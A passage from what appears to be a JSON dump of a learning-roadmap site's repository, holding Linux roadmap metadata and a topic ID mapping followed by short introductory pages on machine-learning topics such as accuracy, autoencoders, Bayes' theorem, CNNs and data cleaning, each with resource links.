      \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bdQNcr1sj94aX_gjwf2Fa\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"7seneb4TWts4v1_x8xlcZ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbz2-7seneb4TWts4v1_x8xlcZy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bdQNcr1sj94aX_gjwf2Fa\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"3OpGaQhyNtk1n1MLp-tlb\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__bdQNcr1sj94aX_gjwf2Fax2-3OpGaQhyNtk1n1MLp-tlby1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3OpGaQhyNtk1n1MLp-tlb\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"MfengY3ouz6sSOx3PXYf8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbw2-MfengY3ouz6sSOx3PXYf8x1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/linux/linux.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/linux.json'\npdfUrl: '/pdfs/roadmaps/linux.pdf'\norder: 14\nbriefTitle: 'Linux'\nrenderer: 'editor'\nbriefDescription: 'Step by step guide to learning Linux in 2025'\ntitle: 'Linux Roadmap'\ndescription: 'Step by step guide to learning Linux in 2025'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2470\nschema:\n  headline: 'Linux Roadmap'\n  description: 'Learn how to use Linux with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/linux.png'\n  datePublished: '2024-04-24'\n  dateModified: '2024-04-24'\nseo:\n  title: 'Linux Roadmap'\n  description: 'Step by step guide to learn Linux in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'step by step guide for linux'\n    - 'linux for beginners'\n    - 'how to learn linux'\n    - 'use linux in production'\n    - 'guide to learning linux'\n    - 'linux roadmap 2024'\n    - 'linux roadmap 2025'\n    - 'linux'\n    - 'linux tutorial'\n    - 'linux roadmap'\n    - 'linux learning path'\n    - 'linux learning roadmap'\n    - 'linux learning guide'\n    - 'linux skills'\n    - 'linux for development'\n    - 'linux for development skills'\n    - 'linux for development skills test'\n    - 'linux learning guide'\n    - 'become a linux expert'\n    - 'linux career path'\n    - 'learn linux for development'\n    - 'what is linux'\n    - 'linux quiz'\n    - 'linux interview questions'\nrelatedRoadmaps:\n  - 'devops'\n  - 'backend'\n  - 'docker'\n  - 'cyber-security'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/linux/migration-mapping.json",
    "content": "{\n  \"navigation-basics\": \"y7KjVfSI6CAduyHd4mBFT\",\n  \"navigation-basics:basic-commands\": \"qLeEEwBvlGt1fP5Qcreah\",\n  \"navigation-basics:moving-files\": \"q-Ky0ietZGpyUcBQfh-BJ\",\n  \"navigation-basics:creating-files\": \"9oo2fxTM2_p0VYPBroqxa\",\n  \"navigation-basics:directory-hierarchy\": \"3fzuXKH7az_LVnmnoXB1p\",\n  \"editing-files\": \"HGmeYvRf7_XusZl_K4x9k\",\n  \"editing-files:vim\": \"XiZz7EFIey1XKS292GN4t\",\n  \"editing-files:nano\": \"yqRwmcZThjQuqh2ao0dWK\",\n  \"shell-basics\": \"8QBMyL8D5jPovxN8jyZW9\",\n  \"shell-basics:command-path\": \"moGMHNR58wFlzhS7je1wc\",\n  \"shell-basics:environment-variables\": \"zwXEmpPYjA7_msS43z7I0\",\n  \"shell-basics:command-help\": \"KaMSsQnJzNqGHg0Oia4uy\",\n  \"shell-basics:redirects\": \"JgoZzx4BfK7tmosgpZOsf\",\n  \"shell-basics:super-user\": \"NIBSZGE9PskVrluJpdom0\",\n  \"working-with-files\": \"RsOTPZPZGTEIt1Lk41bQV\",\n  \"working-with-files:permissions\": \"TnrT-cqMA8urew9nLv0Ns\",\n  \"working-with-files:archiving\": \"iD073xTmpzvQFfXwcwXcY\",\n  \"working-with-files:copying-renaming\": \"abKO6KuuIfl9ruVxBw6t_\",\n  \"working-with-files:soft-hard-links\": \"KaXHG_EKxI5PUXmcvlJt6\",\n  \"text-processing\": \"-B2Dvz7160Er0OBHzS6ro\",\n  \"text-processing:stdout-in-err\": \"t3fxSgCgtxuMtHjclPHA6\",\n  \"text-processing:cut\": \"Z5Mf_e5G24IkmxEHgYBe2\",\n  \"text-processing:paste\": \"5658kdqJw-pIOyyhll80a\",\n  \"text-processing:sort\": \"1WRIy3xHtQfiQFZrprobP\",\n  \"text-processing:tr\": \"O9Vci_WpUY-79AkA4HDx3\",\n  \"text-processing:head\": \"6xdkFk_GT93MigeTSSGCp\",\n  \"text-processing:tail\": \"Yyk28H6TiteZEGv6Aps1h\",\n  \"text-processing:join\": \"vfcCS1GoyKpU1rQaE8I5r\",\n  \"text-processing:split\": \"Pl9s2ti25hsSEljXJvBTj\",\n  \"text-processing:pipe\": \"v32PJl4fzIFTOirOm6G44\",\n  \"text-processing:tee\": \"Bo9CdrGJej-QcNmw46k9t\",\n  \"text-processing:nl\": \"YSfGrmT795miIeIZrtC3D\",\n  \"text-processing:wc\": \"LIGOJwrXexnIcPyHVlhQ8\",\n  \"text-processing:expand\": \"TZuDVFS7DZFBgaSYYXoGe\",\n  \"text-processing:unexpand\": \"sKduFaX6xZaUUBdXRMKCL\",\n  \"text-processing:uniq\": \"qnBbzphImflQbEbtFub9x\",\n  \"text-processing:grep\": \"umlhxidsvtZG9k40Ca0Ac\",\n  \"text-processing:awk\": \"QTmECqpRVMjNgQU70uCF8\",\n  \"server-review\": \"jSzfQf0MlnXtWHCc-HYvr\",\n  \"server-review:uptime-load\": \"19lTWqAvZFT2CDlhLlPSq\",\n  \"server-review:auth-logs\": \"WwybfdKuP9ogCGpT7d3NU\",\n  \"server-review:services-running\": \"ewUuI_x-YhOQIYd3MTgJJ\",\n  \"server-review:available-mem\": \"tx0nh6cbBjVxwNlyrBNYm\",\n  \"process-management\": \"h01Y6dW09ChidlM2HYoav\",\n  \"process-management:bg-fg-processes\": \"mUKoiGUTpIaUgQNF3BND_\",\n  \"process-management:listing-finding-proc\": \"lf3_CRyOI2ZXGzz5ff451\",\n  \"process-management:proc-signals\": \"VkLWTvKnRXzvLGWza2v45\",\n  \"process-management:proc-priorities\": \"5anSYRhaKIs3dCLWlvZfT\",\n  \"process-management:kill-processes\": \"0FLUI9r7znMqi6YKReLzD\",\n  \"process-management:proc-forking\": \"Rib7h9lh_ndiXkwNbftz_\",\n  \"user-management\": \"g6n7f1Qi0BPr_BGvisWuz\",\n  \"user-management:create-update\": \"R9TZfkgVUQNLnMpDhovJa\",\n  \"user-management:user-groups\": \"h8wc8XEwWYHErna68w7Mg\",\n  \"user-management:permissions\": \"L6RMExeqi9501y-eCHDt1\",\n  \"service-management\": \"F1sU3O1ouxTOvpidDfN3k\",\n  \"service-management:service-status\": \"34UUrc8Yjc_8lvTL8itc3\",\n  \"service-management:start-stop-service\": \"FStz-bftQBK0M6zz2Bxl4\",\n  \"service-management:check-logs\": \"DuEfJNrm4Jfmp8-8Pggrf\",\n  \"service-management:creating-services\": \"xk5Xgi797HlVjdZJRfwX1\",\n  \"package-management\": \"4eINX8jYMJxfYh7ZV47YI\",\n  \"package-management:repositories\": \"2oQiuQ2j02SCt9t5eV6hg\",\n  \"package-management:snap\": \"eKyMZn30UxQeBZQ7FxFbF\",\n  \"package-management:finding-installing-packages\": \"Z23eJZjmWoeXQuezR9AhG\",\n  \"package-management:listing-installed-packages\": \"48wAoAAlCNt3j5mBpKTWC\",\n  \"package-management:install-remove-ugprade-packages\": \"xEHiB-egkkcBuZmgMoqHT\",\n  \"disks-filesystems\": \"Fn_uYKigJRgb7r_iYGVBr\",\n  \"disks-filesystems:inodes\": \"AwQJYL60NNbA5_z7iLcM7\",\n  \"disks-filesystems:filesystems\": \"LFPhSHOhUqM98fUxMjQUw\",\n  \"disks-filesystems:mounts\": \"zmb5lK_EGMAChPoPvP9E0\",\n  \"disks-filesystems:adding-disks\": \"4xBaZPk0eSsWG1vK3e2yW\",\n  \"disks-filesystems:lvm\": \"I3LNa1cM_zRkBy8wKdz3g\",\n  \"disks-filesystems:swap\": \"AWosNs2nvDGV8r6WvgBI1\",\n  \"booting-linux\": \"DQEa8LrJ9TVW4ULBE4aHJ\",\n  \"booting-linux:logs\": \"ru7mpLQZKE1QxAdiA1sS3\",\n  \"booting-linux:boot-loaders\": \"o5lSQFW-V_PqndGqo1mp3\",\n  \"networking\": \"Mb42VFjCzMZn_PovKIfKx\",\n  \"networking:tcp-ip\": \"0pciSsiQqIGJh3x8465_s\",\n  \"networking:subnetting\": \"Xszo9vXuwwXZo26seHehD\",\n  \"networking:ethernet-arp-rarp\": \"4ees23q281J1DPVAc7iXd\",\n  \"networking:dhcp\": \"X6Jw95kbyPgsDNRhvkQP9\",\n  \"networking:ip-routing\": \"D0yUzzaJsfhtdBWMtquAj\",\n  \"networking:dns-resolution\": \"f5oQYhmjNM2_FD7Qe1zGK\",\n  \"networking:netfilter\": \"bZ8Yj6QfBeDdh8hRM_aZs\",\n  \"networking:ssh\": \"uk6UMuI8Uhf02TBAGVeLS\",\n  \"networking:file-transfer\": \"tVrbVcNEfc11FbEUoO2Dk\",\n  \"shell-programming\": \"4tFZ1PLpz50bddf7zSFrW\",\n  \"shell-programming:debugging\": \"rOGnHbGIr3xPCFdpkqoeK\",\n  \"shell-programming:conditionals\": \"rQxfp7UWqN72iqewZhOdc\",\n  \"shell-programming:loops\": \"WJT-yrMq8cEI87RHWA2jY\",\n  \"shell-programming:literals\": \"-pW7R76yNIeGf7TQoX4QL\",\n  \"shell-programming:variables\": \"JyxvZOb7iusOSUYSlniGl\",\n  \"troubleshooting\": \"bdQNcr1sj94aX_gjwf2Fa\",\n  \"troubleshooting:icmp\": \"Ymf3u_sG1dyt8ZR_LbwqJ\",\n  \"troubleshooting:ping\": \"Uc36t92UAlILgM3_XxcMG\",\n  \"troubleshooting:traceroute\": \"BnB3Rirh4R7a7LW7-k-95\",\n  \"troubleshooting:netstat\": \"yrxNYMluJ9OAQCKuM5W1u\",\n  \"troubleshooting:packet-analysis\": \"7seneb4TWts4v1_x8xlcZ\",\n  \"containerization\": \"3OpGaQhyNtk1n1MLp-tlb\",\n  \"containerization:ulimits\": \"QgfenmhMc18cU_JngQ1n0\",\n  \"containerization:cgroups\": \"23lsrUw8ux6ZP9JlDNNu2\",\n  \"containerization:container-runtime\": \"bVCwRoFsYb3HD8X4xuKOo\",\n  \"containerization:docker\": \"MfengY3ouz6sSOx3PXYf8\"\n}"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/accuracy@3wib9UH0_OLhKjqKoZEMv.md",
    "content": "# Accuracy\n\nAccuracy measures how often a machine learning model correctly predicts the outcome. It's calculated by dividing the number of correct predictions by the total number of predictions made. The formula for accuracy is: (Number of Correct Predictions) / (Total Number of Predictions).\n\nVisit the following resources to learn more:\n\n- [@article@Accuracy | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.metrics.accuracy_score.html)\n- [@article@Machine Learning Model Accuracy](https://www.giskard.ai/glossary/machine-learning-model-accuracy)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/activation-functions@RXTci1N6i6D9HqTbsLYIy.md",
    "content": "# Activation Functions\n\nActivation functions in neural networks determine the output of a node given an input or set of inputs. They introduce non-linearity into the network, allowing it to learn complex patterns and relationships in data. Without activation functions, a neural network would simply be a linear regression model, severely limiting its ability to model intricate data.\n\nVisit the following resources to learn more:\n\n- [@article@Activation Functions in Neural Networks: How to Choose the Right One](https://towardsdatascience.com/activation-functions-in-neural-networks-how-to-choose-the-right-one-cb20414c04e5/)\n- [@article@Neural networks: Activation functions](https://developers.google.com/machine-learning/crash-course/neural-networks/activation-functions)\n- [@video@Activation Functions In Neural Networks Explained](https://www.youtube.com/watch?v=Fu273ovPBmQ)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/actor-critic-methods@4Vy6lW9vF_SWwbKLU0qno.md",
    "content": "# Actor-Critic Methods\n\nActor-Critic methods in reinforcement learning are a type of algorithm that combines the strengths of both value-based and policy-based approaches. They use two separate models: an \"actor\" that learns the optimal policy (how to act), and a \"critic\" that estimates the value function (how good a state or action is). The critic evaluates the actor's actions, providing feedback that helps the actor improve its policy, while the actor uses this feedback to refine its decision-making process.\n\nVisit the following resources to learn more:\n\n- [@article@Actor-critic algorithm](https://en.wikipedia.org/wiki/Actor-critic_algorithm)\n- [@article@Everything You Need To Master Actor Critic Methods | Tensorflow 2 Tutorial](https://www.youtube.com/watch?v=LawaN3BdI00)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/apis@s-wUPMaagyRupT2RdfHks.md",
    "content": "# APIs\n\nApplication Programming Interfaces, better known as APIs, play a fundamental role in the work of data analysts, particularly in the process of data collection. APIs are sets of protocols, routines, and tools that enable different software applications to communicate with each other. In data analysis, APIs are used extensively to collect, exchange, and manipulate data from different sources in a secure and efficient manner. This data collection process is paramount in shaping the insights derived by the analysts.\n\nVisit the following resources to learn more:\n\n- [@article@What is an API?](https://aws.amazon.com/what-is/api/)\n- [@article@A Beginner's Guide to APIs](https://www.postman.com/what-is-an-api/)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/applications-of-cnns@gCGHtxqD4V_Ite_AXMspf.md",
    "content": "# Convolutional Neural Networks (CNNs) Applications\n\nCNNs have revolutionized the field of computer vision, leading to significant advancements in many real-world applications. Thanks to their power to solve complex problems like image classification, object detection, and facial recognition, CNNs power many applications we use daily, like automatically tagging friends in photos, enabling self-driving cars to \"see\" and understand their surroundings, and helping doctors diagnose diseases from medical scans. They are also used to generate realistic images, translate languages, and even create art.\n\nVisit the following resources to learn more:\n\n- [@article@Top 10 Real-World Applications of Convolutional Neural Networks](https://thedatascientist.com/top-10-real-world-applications-of-convolutional-neural-networks-in-2025/)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/attention-mechanisms@-tzeA13f2jYDm4aO5JciT.md",
    "content": "# Attention Mechanisms\n\nDeveloped by Google researchers, the attention mechanisms allow a neural network to focus on the most relevant parts of the input data when making predictions. Instead of processing the entire input uniformly, attention mechanisms assign weights to different parts of the input, indicating their importance. These weights are then used to create a weighted average of the input, which is used for further processing. This allows the model to selectively attend to the most informative parts of the input, improving performance, especially in tasks involving sequential data like text or images.\n\nVisit the following resources to learn more:\n\n- [@article@Attention Is All You Need](https://arxiv.org/abs/1706.03762)\n- [@article@What is an attention mechanism?](https://www.ibm.com/think/topics/attention-mechanism)\n- [@video@Attention mechanism: Overview](https://www.youtube.com/watch?v=fjJOgb-E41w)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/attention-models@sChxcuQ2OruKVx8P4wAK_.md",
    "content": "# Attention Models\n\nAttention models in natural language processing allow a neural network to focus on specific parts of the input sequence when producing an output. Instead of relying on a fixed-length vector representation of the entire input, these models learn to assign weights to different input elements, indicating their relevance to the current output. This mechanism enables the model to selectively attend to the most important information, improving performance in tasks like machine translation and text summarization.\n\nVisit the following resources to learn more:\n\n- [@article@What is an attention mechanism?](https://www.ibm.com/think/topics/attention-mechanism)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/autoencoders@kvf2CUKBe4qSbZla4Brh3.md",
    "content": "# Autoencoders\n\nAutoencoders are a type of neural network used for unsupervised learning. They work by compressing the input data into a lower-dimensional representation (encoding) and then reconstructing the original input from this compressed representation (decoding). The network is trained to minimize the difference between the original input and the reconstructed output, forcing it to learn efficient and meaningful representations of the data.\n\nVisit the following resources to learn more:\n\n- [@article@What is an autoencoder? | IBM](https://www.ibm.com/think/topics/autoencoder)\n- [@article@Intro to Autoencoders | TensorFLow](https://www.tensorflow.org/tutorials/generative/autoencoder)\n- [@video@Autoencoders](https://www.youtube.com/watch?v=hZ4a4NgM3u0)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/autoencoders@owSUO9Ut9sggd1OiWr3O7.md",
    "content": "# Autoencoders\n\nAutoencoders are a type of neural network used to learn efficient data representations in an unsupervised manner. They work by compressing the input data into a lower-dimensional \"code\" and then reconstructing the original input from this compressed representation. By forcing the network to learn a compressed version of the data, autoencoders can discover important features and reduce the dimensionality of the data, making it easier to process and analyze.\n\nVisit the following resources to learn more:\n\n- [@article@What Is an Autoencoder? | IBM](https://www.ibm.com/think/topics/autoencoder)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/back-propagation@0meihv22e11GwqnRdSJ9g.md",
    "content": "# Backpropagation\n\nBackpropagation is a fundamental algorithm used to train artificial neural networks. It works by calculating the gradient of the loss function with respect to the network's weights. This gradient is then used to adjust the weights, iteratively reducing the error between the network's predictions and the actual target values. In essence, it's a method for efficiently computing how much each weight in the network contributed to the overall error, allowing for targeted adjustments to improve performance.\n\nVisit the following resources to learn more:\n\n- [@article@What is backpropagation?](https://www.ibm.com/think/topics/backpropagation)\n- [@article@Understanding Backpropagation](https://towardsdatascience.com/understanding-backpropagation-abcc509ca9d0/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/basic-concepts@P32Rmnln5NCFWz4LP0k05.md",
    "content": "# Basic Statistical Concepts\n\nStatistics is the science of collecting, analyzing, interpreting, and presenting data. It provides the foundation for understanding patterns and making inferences from data, which is crucial for machine learning algorithms. Here are 10 basic statistical concepts:\n\n*   **Mean:** The average value of a dataset, calculated by summing all values and dividing by the number of values.\n*   **Median:** The middle value in a sorted dataset.\n*   **Mode:** The value that appears most frequently in a dataset.\n*   **Standard Deviation:** A measure of the spread or dispersion of data points around the mean.\n*   **Variance:** The square of the standard deviation, representing the average squared difference from the mean.\n*   **Probability:** The likelihood of an event occurring, expressed as a number between 0 and 1.\n*   **Distributions:** A function that shows the possible values for a variable and how often they occur (e.g., normal distribution, uniform distribution).\n*   **Hypothesis Testing:** A method for testing a claim or hypothesis about a population based on a sample of data.\n*   **Correlation:** A statistical measure that describes the extent to which two variables are related.\n*   **Regression:** A statistical method for modeling the relationship between a dependent variable and one or more independent variables."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/basic-syntax@hWA7RtuqltMTmHdcCnmES.md",
    "content": "# Basic Syntax in Python\n\nPython's basic syntax defines the rules for writing code that the interpreter can understand and execute. This includes how to structure lines of code, use indentation to define code blocks, write comments for explanation, assign values to variables, and perform basic operations using operators. Understanding these fundamental elements is essential for writing any Python program, including those used in machine learning.\n\nVisit the following resources to learn more:\n\n- [@roadmap@isit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@video@Learn Python - Full Course](https://www.youtube.com/watch?v=4M87qBgpafk)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/basics-of-probability@p8q1Gtt9x19jw5_-YjAGh.md",
    "content": "# Basics of Probability\n\nProbability is a way to quantify the likelihood of an event occurring. It provides a numerical measure, ranging from 0 to 1, representing the chance that a specific outcome will happen. A probability of 0 indicates impossibility, while a probability of 1 signifies certainty. Understanding probability involves concepts like random variables, probability distributions, and events, which are essential for making predictions and decisions under uncertainty.\n\nVisit the following resources to learn more:\n\n- [@book@Probability and Statistics: The Science of Uncertainty](https://utstat.utoronto.ca/mikevans/jeffrosenthal/book.pdf)\n- [@article@Probability](https://en.wikipedia.org/wiki/Probability)\n- [@article@Probability](https://www.mathsisfun.com/data/probability.html)\n- [@video@Probability Bootcamp](https://www.youtube.com/playlist?list=PLMrJAkhIeNNR3sNYvfgiKgcStwuPSts9V)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/bayes-theorem@7o6g0wQxHH9i9MMCoDq2C.md",
    "content": "# Bayes' Theorem\n\nBayes' Theorem is a mathematical formula that describes how to update the probability of a hypothesis based on new evidence. It essentially calculates the probability of an event occurring given that another event has already occurred. The theorem uses prior knowledge of conditions related to the event to refine the probability estimate as new information becomes available.\n\nVisit the following resources to learn more:\n\n- [@article@Bayes' Theorem: What It Is, Formula, and Examples](https://www.investopedia.com/terms/b/bayes-theorem.asp)\n- [@article@Bayes' Theorem](https://www.mathsisfun.com/data/bayes-theorem.html)\n- [@video@Bayes' Theorem EXPLAINED with Examples](https://www.youtube.com/watch?v=cqTwHnNbc8g)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/calculus@wHlEinHuRARp5OfSulpA-.md",
    "content": "# Calculus\n\nCalculus is a branch of mathematics that deals with continuous change. It provides tools and techniques for understanding rates of change and accumulation. The two main branches are differential calculus, which focuses on finding the rate of change of a function, and integral calculus, which focuses on finding the accumulation of quantities. These concepts are fundamental for optimization, modeling, and understanding the behavior of functions.\n\nVisit the following resources to learn more:\n\n- [@book@Calculus Online Textbook](https://ocw.mit.edu/courses/res-18-001-calculus-fall-2023/pages/textbook/)\n- [@article@Calculus](https://en.wikipedia.org/wiki/Calculus)\n- [@video@Calculus](https://www.youtube.com/playlist?list=PLybg94GvOJ9ELZEe9s2NXTKr41Yedbw7M)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/chain-rule-of-derivation@jJukG4XxfFcID_VlQKqe-.md",
    "content": "# Chain Rule of Derivation\n\nThe chain rule is a formula for finding the derivative of a composite function. If you have a function that's made up of one function inside another (like sin(x²) ), the chain rule lets you break down the differentiation process. It states that the derivative of the composite function is the derivative of the outer function evaluated at the inner function, multiplied by the derivative of the inner function.\n\nVisit the following resources to learn more:\n\n- [@article@Chain rule](https://en.wikipedia.org/wiki/Chain_rule)\n- [@video@Derivatives of Composite Functions: The Chain Rule](https://www.youtube.com/watch?v=_x1nCg2LfuA)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/classification@cffITx6oAcnvJlK1VLdi8.md",
    "content": "# Classification\n\nClassification is a type of supervised learning where the goal is to assign data points to predefined categories or classes. Given a set of labeled data (where each data point has a known class), the algorithm learns a mapping function that can predict the class label for new, unseen data. The output is a discrete value representing the predicted class.\n\nVisit the following resources to learn more:\n\n- [@course@Classification - Google Crash Course](https://developers.google.com/machine-learning/crash-course/classification)\n- [@article@What is Classification in Machine Learning?](https://www.ibm.com/think/topics/classification-machine-learning)\n- [@article@Classification in Machine Learning: A Guide for Beginners](https://www.datacamp.com/blog/classification-machine-learning)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/clustering@CBSGvGPoI53p7BezXNm6M.md",
    "content": "# Clustering\n\nClustering is a way to automatically group similar data points together. Imagine you have a bunch of scattered objects and you want to organize them into piles based on how alike they are. Clustering algorithms do this by finding patterns in the data, grouping data points that are close to each other in some way, and separating them from data points that are further apart. The algorithm decides which data points belong to which group, without you telling it what the groups should be beforehand.\n\nVisit the following resources to learn more:\n\n- [@article@Clustering | scikit-learn](https://scikit-learn.org/stable/modules/clustering.html)\n- [@article@What is clustering?](https://developers.google.com/machine-learning/clustering/overview)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/conditionals@NP1kjSk0ujU0Gx-ajNHlR.md",
    "content": "# Conditionals\n\nConditional statements in Python allow you to execute different blocks of code based on whether a certain condition is true or false. The most common conditional statements are `if`, `elif` (else if), and `else`. An `if` statement checks a condition, and if it's true, the code block under it runs. `elif` allows you to check additional conditions if the initial `if` condition is false. Finally, `else` provides a block of code to execute if none of the preceding `if` or `elif` conditions are true. These statements enable programs to make decisions and respond differently to various inputs or situations.\n\nVisit the following resources to learn more:\n\n- [@article@Conditional Statements in Python](https://realpython.com/python-conditional-statements/)\n- [@video@Learn Python CONDITIONAL EXPRESSIONS in 5 minutes!](https://www.youtube.com/watch?v=TYyKQBC4bwE)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/confusion-matrix@oyL0M2OP4NTNbIO3zq-Hz.md",
    "content": "# Confusion Matrix\n\nA confusion matrix is a table that summarizes the performance of a classification model. It displays the counts of true positive, true negative, false positive, and false negative predictions, allowing for a detailed analysis of the model's accuracy and types of errors it makes. This breakdown helps in understanding where the model excels and where it struggles, providing insights beyond simple accuracy scores.\n\nVisit the following resources to learn more:\n\n- [@article@Confusion matrix | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.metrics.confusion_matrix.html)\n- [@article@What is A Confusion Matrix in Machine Learning? The Model Evaluation Tool Explained](https://www.datacamp.com/tutorial/what-is-a-confusion-matrix-in-machine-learning)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/convolution@MtoYStcZBduLSbjRuPjq0.md",
    "content": "# Convolution\n\nConvolution is a mathematical operation that involves sliding a filter (also known as a kernel) over an input image or feature map. At each location, the filter performs element-wise multiplication with the corresponding part of the input, and then sums the results. This sum becomes a single value in the output feature map. By sliding the filter across the entire input, the convolution operation extracts features and patterns present in the image, such as edges, textures, or shapes.\n\nVisit the following resources to learn more:\n\n- [@article@Convolutional Neural Networks cheatsheet](https://stanford.edu/~shervine/teaching/cs-230/cheatsheet-convolutional-neural-networks)\n- [@video@But what is a convolution?](https://www.youtube.com/watch?v=KuXjwB4LzSA)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/convolutional-neural-network@BtO2wH7YYqE25HShI6sd9.md",
    "content": "# Convolutional Neural Networks\n\nConvolutional Neural Networks (CNNs) are a specialized type of artificial neural network primarily used for processing data that has a grid-like topology, such as images. They employ convolutional layers to automatically and adaptively learn spatial hierarchies of features from the input data. These layers use filters (or kernels) that slide across the input, performing element-wise multiplication and summation to detect patterns. Pooling layers are often used to reduce the spatial dimensions of the feature maps, decreasing computational complexity and making the network more robust to variations in the input.\n\nVisit the following resources to learn more:\n\n- [@article@What are Convolutional Neural Networks?](https://www.ibm.com/think/topics/convolutional-neural-networks)\n- [@article@An Introduction to Convolutional Neural Networks (CNNs)](https://www.datacamp.com/tutorial/introduction-to-convolutional-neural-networks-cnns)\n- [@video@Hot Dog or Not Hot Dog – Convolutional Neural Network Course for Beginners](https://www.youtube.com/watch?v=nVhau51w6dM)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/csv@MWfdLCb_w06A0jqwUJUxl.md",
    "content": "# CSV\n\nCSV or Comma Separated Values files play an integral role in data collection for data analysts. These file types allow the efficient storage of data and are commonly generated by spreadsheet software like Microsoft Excel or Google Sheets, but their simplicity makes them compatible with a variety of applications that deal with data. In the context of data analysis, CSV files are extensively used to import and export large datasets, making them essential for any data analyst's toolkit. They allow analysts to organize vast amounts of information into a structured format, which is fundamental in extracting useful insights from raw data.\n\nVisit the following resources to learn more:\n\n- [@article@What is a CSV file: A comprehensive guide](https://flatfile.com/blog/what-is-a-csv-file-guide-to-uses-and-benefits/)\n- [@video@Understanding CSV Files](https://www.youtube.com/watch?v=UofTplCVkYI)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/data-cleaning@5v0jRBYrRuVXQC90IseRG.md",
    "content": "# Data Cleaning\n\nData cleaning, which is often referred as data cleansing or data scrubbing, is one of the most important and initial steps in the data analysis process. As a data analyst, the bulk of your work often revolves around understanding, cleaning, and standardizing raw data before analysis. Data cleaning involves identifying, correcting or removing any errors or inconsistencies in datasets in order to improve their quality. The process is crucial because it directly determines the accuracy of the insights you generate - garbage in, garbage out. Even the most sophisticated models and visualizations would not be of much use if they're based on dirty data. Therefore, mastering data cleaning techniques is essential for any data analyst.\n\nVisit the following resources to learn more:\n\n- [@article@Data cleaning](https://www.tableau.com/learn/articles/what-is-data-cleaning)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/data-formats@U4LGIEE3igeE5Ed3EWzsu.md",
    "content": "# Data Formats\n\nData formats define the structure in which data is organized and stored. These formats dictate how information is encoded, allowing computers to interpret and process it effectively. Common examples include CSV (Comma Separated Values) for tabular data, JSON (JavaScript Object Notation) for structured data with key-value pairs, and image formats like JPEG and PNG for visual data. The choice of data format impacts storage efficiency, data accessibility, and the compatibility with different machine learning tools and algorithms."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/data-loading@bIhGv4886V4RWJD3tX0a0.md",
    "content": "# Data Loading in Scikit-learn\n\nData loading in Scikit-learn refers to the process of importing datasets into a format that can be used for machine learning tasks. This involves reading data from various sources, such as CSV files, databases, or even directly from NumPy arrays, and structuring it into a format that Scikit-learn's algorithms can understand, typically NumPy arrays or Pandas DataFrames. The loaded data is then usually split into features (independent variables) and a target variable (dependent variable) for training and evaluating machine learning models.\n\nVisit the following resources to learn more:\n\n- [@official@Dataset loading utilities](https://scikit-learn.org/stable/datasets.html)\n- [@video@Scikit-Learn Full Crash Course - Python Machine Learning](https://www.youtube.com/watch?v=SIEaLBXr0rk)"
  },
  {
